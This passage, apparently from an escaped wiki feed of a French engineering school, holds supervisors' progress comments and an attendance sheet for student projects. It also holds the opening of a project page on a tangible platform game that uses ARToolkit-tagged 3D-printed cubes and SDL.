| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Un Wiki à peu près vide hors cahier des charge. Des semaines sans travail effectué. Des semaines avec un descriptif laissant deviner l'ampleur du travail effectué. Vu votre manque de sérieux en projet une note catastrophique pour ce module est fortement probable. Réagissez pour prouver le contraire.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Le Wiki est toujours assez pauvre en informations, par exemple précisez quel environnement de programmation vous utilisez pour programmer l'Arduino. Il manque des informations sur le travail de la dernière semaine.&amp;lt;/font&amp;gt; &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Les réalisations présentées semblent bien pauvres ou sont mal décrites. Arriver en fin de projet avec simplement l'acquisition d'informations d'un DTH11 et la commande de deux ventilateurs n'est pas à la hauteur de ce qui est demandé pour un projet IMA4.&amp;lt;/font&amp;gt; &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P39 [[Dirigeable publicitaire]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges très correct. Pour l'hélium il faudrait contacter le fournisseur de l'université pour un devis. Vous pouvez commencer à concevoir la nacelle avec les hélices. Il faut aussi trouver des références pour la liste du matériel.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki donnant en détail le travail effectué. Largement illustré par photos et vidéo.&amp;lt;/font&amp;gt;&lt;br /&gt;
Ajoutez des images des composants réalisés sous Altium.&lt;br /&gt;
Peu de résultats pour l'instant. Il devient urgent de savoir commander les moteurs.&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Un Wiki toujours aussi clair mais ne donnant aucune raison concernant l'échec de commande des moteurs de l'ARDrone, ni même la liste des tentatives. Les réalisations concrètes sont assez basiques. Il est à craindre que le résultat final du projet ne soit pas à la hauteur de ce qui est demandé pour un projet IMA4.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P41 [[Drone et occulus rift]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Un Wiki illustré et formaté correctement. Toujours aucune précision sur la connexion entre l'occulus rift et le drone.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Wiki minimal, pas d'illustration, rédaction rapide. Rien sur la semaine 5. Une démonstration sur la récupération du flux vidéo et le contrôle de webcam serait la bienvenue.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Le Wiki est maintenant plus riche mais des ajouts ont été portés en catastrophe le 14 avril et il n'y a rien sur les tâches effectuées les deux dernières semaines. Le plus inquiétant est l'état d'avancement du projet : le contrôle des servos par la raspberry n'est pas finalisé, la capture vidéo se limite à l'utilisation de l'utilitaire &amp;quot;motion&amp;quot;, l'acquisition en provenance de l'occulus rift ne va pas au delà du test d'un programme d'exemple et il n'y a rien concernant la structure 3D à fixer sous le drône.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P42 [[Mini-drones]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges correct. Un effort d'illustration avec un schéma. Vous pouvez commencer à manipuler le SDK des mini-drônes, ces derniers sont disponibles en E306.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki non alimenté depuis début décembre. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation. Vu votre absentéisme en projet une note catastrophique pour ce module est fortement probable. Venez rendre compte à votre encadrant le plus vite possible.&amp;lt;/font&amp;gt; &lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki avec une grammaire et une orthographe déplorables, voir la correction effectuée sur la partie SDK, corrigez le reste du texte. Problèmes de mise en page du Wiki. Le Wiki est loin d'être mis à jour.&amp;lt;/font&amp;gt;&amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;D'après le Wiki, les deux drônes sont pilotables par une interface Web, faites une démonstration le plus tôt possible. Il vous reste à réaliser le suivi automatique qui est le coeur du projet. Arriverez-vous à terminer le projet ? Vous ne pouvez pas argumenter sur un manque de temps vu que vous n'utilisez pas tous les créneaux du mercredi.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P43 [[SmartMeter, gestion de consommation électrique]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Bel effort de Wiki vu le retard pris pour la rédaction du cahier des charges. Je pense qu'il y a une confusion sur la signification de &amp;quot;puissance effective&amp;quot;. Mettre à jour le Wiki après entretien avec Guillaume Renault. Au 27 janvier toujours en attente d'une réelle étude du sujet.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Le Wiki ne comporte que le compte-rendu des réunions avec les encadrants. La dernière réunion date d'il y a plus d'un mois. Aucune description du travail accompli. Votre manque de sérieux au niveau de la documentation et du travail laisse présager une note catastrophique dans le module.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Toujours uniquement des comptes-rendus de réunions sur le Wiki. De nombreuses coquilles. Vous ne sauverez votre projet qu'en montrant une carte fonctionnelle à la soutenance. Cela nécessite que le PCB soit prêt à la rentrée comme annoncé.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P44 [[Le marteau de Thor]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Projet enfin attaqué fin décembre. Un vrai cahier des charges, très correct.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Wiki minimal sans illustration. Rien après la semaine 3. Le travail effectué dans les trois premières semaines est soit mal décrit soit très léger. Des photos des circuits de test pourraient mieux donner idée du travail réalisé.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki toujours minimal, pas de schéma du dispositif sauf un scan d'un brouillon. La construction du marteau n'est toujours pas terminée, rien sur la fixation du manche. Aucune démonstration possible en l'état. Un fort doute plane sur l'aboutissement du projet.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P45 [[Orchestre électronique]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Projet correctement appréhendé. Le cahier des charges est précisé dans ses grandes lignes. Une partie sur les instruments reste à affiner mais c'est normal. Essayez de trouver une référence pour les dispositifs MIDI à connecter à la RaspBerry Pi. Ces dispositifs sont fondamentaux pour lancer le projet.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki très détaillé, un peu illustré mais la rédaction pourrait être améliorée (style télégraphique). Le travail réalisé est parfaitement décrit, projet bien avancé.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki très à jour. Pensez à rajouter quelques photos. Pas de doute sur l'aboutissement du projet.&amp;lt;/font&amp;gt;. &lt;br /&gt;
Je vous ramène un câble DB25/Centronics pour les imprimantes matricielles. Pensez à demander un modem pour enrichir l'orchestre.&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P47 [[Commande d'une suspension magnétique]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Un cahier des charges enfin correct le 4 janvier 2016.&amp;lt;/font&amp;gt;&amp;lt;font style=&amp;quot;color:orange;&amp;quot;&amp;gt;Pourriez-vous mettre en perspective votre projet par rapport à celui de 2012/2013 [[Suspension_magnétique_2013]] ?&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki très détaillé, très bien illustré, très correctement rédigé. Le Wiki est mieux présenté que celui de 2013. C'est bien.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Wiki presque à jour. Ajoutez les informations concernant le banc d'essai : est-il réparé ?&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Fiche de présence ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves !! 9 mars !! 16 mars !! 23 mars !! 30 mars !! 20 avril !! 27 avril&lt;br /&gt;
|-&lt;br /&gt;
| P4 [[Train de véhicules]]&lt;br /&gt;
| Manuel BUENO / Maureen GILLET&lt;br /&gt;
| présent et excusée&lt;br /&gt;
| E304 / présents&lt;br /&gt;
| E304&lt;br /&gt;
| E304 / présents&lt;br /&gt;
| E304&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P5 [[Imprimante 3D à chocolat]]&lt;br /&gt;
| Hugo VANDENBUNDER / Sylvain VERDONCK&lt;br /&gt;
| Hugo VANDENBUNDER excusé, &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Sylvain VERDONCK présent (sous-sol ?)&amp;lt;/font&amp;gt;&lt;br /&gt;
| E304 / présents&lt;br /&gt;
| E304 - C201&lt;br /&gt;
| Fabricarium / présents&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P6 [[Zone de sécurité pour vélo]]&lt;br /&gt;
| Martin CLAVERIE / Victor CHARNET&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Victor CHARNET aurait travaillé le matin&amp;lt;/font&amp;gt;&lt;br /&gt;
| E304 / présents&lt;br /&gt;
| E304&lt;br /&gt;
| E304 / présents&lt;br /&gt;
| E304&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P7 [[Journée IMA]]&lt;br /&gt;
| Michel MIKHAEL&lt;br /&gt;
| présent&lt;br /&gt;
| C201 / présent&lt;br /&gt;
| C201-5&lt;br /&gt;
| C201 / présent&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P9 [[Tableau blanc interactif]]&lt;br /&gt;
| Romuald LENTIEUL / Léo MAZIER &lt;br /&gt;
| Romuald LENTIEUL présent,  &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Léo MAZIER absent&amp;lt;/font&amp;gt;&lt;br /&gt;
| E304 - C201 / présents&lt;br /&gt;
| E305&lt;br /&gt;
| E305 - E306 / présents&lt;br /&gt;
| E306&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P10 [[Réseau de capteurs longue distance]]&lt;br /&gt;
| Sonia NDUWAYO / Cong CHEN&lt;br /&gt;
| présentes&lt;br /&gt;
| C201 - E306 / présentes&lt;br /&gt;
| C201 - E306&lt;br /&gt;
| C201 - E306 / CHEN présente de 14 à 16h, excusée ensuite, NDUWAYO présente&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P12 [[Robots mobiles pour Arduino]]&lt;br /&gt;
| Audrey AFFOYON / Leticia STEPHANES LIMA&lt;br /&gt;
| présentes&lt;br /&gt;
| C201/FabLab / présentes&lt;br /&gt;
| C201/FabLab&lt;br /&gt;
| C201/FabLab / présentes&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P16 [[Miroir intelligent]]&lt;br /&gt;
| Valentin BEAUCHAMP / Guillaume VILLEMONT&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;absents&amp;lt;/font&amp;gt;&lt;br /&gt;
| E304 / présents&lt;br /&gt;
| E305&lt;br /&gt;
| E305 / FabLab / présents&lt;br /&gt;
| FabLab&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P21 [[Robot autonome pour cartographie]]&lt;br /&gt;
| Pierre MICHEL / Alexandre DESCAMD&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;présents tout le mardi précédent&amp;lt;/font&amp;gt;&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| E304&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;absents&amp;lt;/font&amp;gt;, &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;justification a posteriori de Pierre MICHEL pour un entretien de stage&amp;lt;/font&amp;gt;.&lt;br /&gt;
|E306&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P23 [[Matelas connecté]]&lt;br /&gt;
| Vincent ROBIC / Morgan OBEISSART&lt;br /&gt;
| présents&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| E306&lt;br /&gt;
| C201 / présents&lt;br /&gt;
| C201&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P27 [[BIOLOID commandé par Arduino]]&lt;br /&gt;
| Quentin GRUSON / Jordan RAZAFINDRAIBE&lt;br /&gt;
| présents&lt;br /&gt;
| C201 / présents&lt;br /&gt;
| C201&lt;br /&gt;
| C201 / présents&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P28 [[Imprimante 3D multi-fils]]&lt;br /&gt;
| Antonin CLAUS / Cédric DUVAL&lt;br /&gt;
| Antonin CLAUS présent, &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Cédric DUVAL absent&amp;lt;/font&amp;gt;&lt;br /&gt;
| Fabricarium&lt;br /&gt;
| Fabricarium&lt;br /&gt;
| Fabricarium / Antonin CLAUS présent, &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Cédric DUVAL absent&amp;lt;/font&amp;gt; &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;(aurait commencé à 13h, non recevable a posteriori)&amp;lt;/font&amp;gt;&lt;br /&gt;
| Fabricarium&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P29 [[Aide anti-gaspillage alimentaire]]&lt;br /&gt;
| Florian GIOVANNANGELI / Pierre FITOUSSI&lt;br /&gt;
| Présents&lt;br /&gt;
| FabLab&lt;br /&gt;
| Fabricarium&lt;br /&gt;
| FabLab et B109 / présents&lt;br /&gt;
| E301&lt;br /&gt;
| Fabricarium&lt;br /&gt;
|-&lt;br /&gt;
| P30 [[Micro-robots auto-organisés]]&lt;br /&gt;
| Corentin CASIER / Julie DEBOCK&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Julie DEBOCK absente&amp;lt;/font&amp;gt;, Corentin CASIER en D209&lt;br /&gt;
| D209 / présents&lt;br /&gt;
| D209&lt;br /&gt;
| D209 / présents&lt;br /&gt;
| D209&lt;br /&gt;
| D209&lt;br /&gt;
|-&lt;br /&gt;
| P32 [[Veilleuse enfant connecté]]&lt;br /&gt;
| Romain RUET / Julien BIELLE&lt;br /&gt;
| présents&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| Ruet E306 / Bielle C203-5&lt;br /&gt;
| E305 / présents&lt;br /&gt;
| E306&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P34 [[Jeu de plateforme tangible]]&lt;br /&gt;
| Stéphane MAIA / Maxime SZWECHOWIEZ&lt;br /&gt;
| présents A3xx&lt;br /&gt;
| A313 / présents&lt;br /&gt;
| B304&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| B304&lt;br /&gt;
| E303&lt;br /&gt;
|-&lt;br /&gt;
| P37 [[Interface de communication entre robots]]&lt;br /&gt;
| Vianney PAYELLE&lt;br /&gt;
| présent en D336&lt;br /&gt;
| D336&lt;br /&gt;
| C002&lt;br /&gt;
| C002 / présent&lt;br /&gt;
| D336&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P38 [[Hydroponie]]&lt;br /&gt;
| Nicolas WEGRZYN&lt;br /&gt;
| présent&lt;br /&gt;
| C205 / présent&lt;br /&gt;
| C205&lt;br /&gt;
| C205 / présent&lt;br /&gt;
| C205&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P39 [[Dirigeable publicitaire]]&lt;br /&gt;
| Julien JOIGNAUX / Loïc DELECROIX&lt;br /&gt;
| présents&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| E306&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| E306/FabLab&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P41 [[Drone et occulus rift]]&lt;br /&gt;
| Geoffrey PIEKACZ / Nathan RICHEZ&lt;br /&gt;
| présents&lt;br /&gt;
| E304 / présents&lt;br /&gt;
| E304&lt;br /&gt;
| Fabricarium ou E304 / présents &lt;br /&gt;
| Geoffrey : Fab - Nathan : Fab et/ou D209&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P42 [[Mini-drones]]&lt;br /&gt;
| Valentin TAFFIN / Alexandre CUADROS&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;absents&amp;lt;/font&amp;gt;&lt;br /&gt;
| E303 / B200 / présents&lt;br /&gt;
| E303&lt;br /&gt;
| E303 / &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;absents&amp;lt;/font&amp;gt;&lt;br /&gt;
| E301&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P43 [[SmartMeter, gestion de consommation électrique]]&lt;br /&gt;
| Haroun ABDELALI / Charlène DA COSTA NETO &lt;br /&gt;
|  &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;absents&amp;lt;/font&amp;gt;&lt;br /&gt;
|  E306 / présents&lt;br /&gt;
|  C201 / D309&lt;br /&gt;
|  C201 / Haroun ABDELALI présent&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P44 [[Le marteau de Thor]]&lt;br /&gt;
| Matthieu HERWEGH / Kevin LE VAN PHUNG&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Kevin LE VAN PHUNG absent&amp;lt;/font&amp;gt;, &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Matthieu HERWEGH présent (sous-sol ?)&amp;lt;/font&amp;gt;&lt;br /&gt;
| E303 / C205 / Kevin LE VAN PHUNG présent&lt;br /&gt;
| E301 / C205 / Fab&lt;br /&gt;
| E303 / C205 / Fab / &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;absents&amp;lt;/font&amp;gt;&lt;br /&gt;
| E301&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| P45 [[Orchestre électronique]]&lt;br /&gt;
| Thomas ROJ / Joshua LETELLIER&lt;br /&gt;
| présents&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| E306&lt;br /&gt;
| E306 / présents&lt;br /&gt;
| E306&lt;br /&gt;
| E306&lt;br /&gt;
|-&lt;br /&gt;
| P47 [[Commande d'une suspension magnétique]]&lt;br /&gt;
| Hongyu ZHANG / Weixing JIN&lt;br /&gt;
| présents C002&lt;br /&gt;
| C002 / présents&lt;br /&gt;
| C002&lt;br /&gt;
| C002 / présents (Hongyu ZHANG partie à 17h30) &lt;br /&gt;
|&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30078</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30078"/>
				<updated>2016-04-24T11:16:27Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Semaine 8 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez puissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable fournie dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
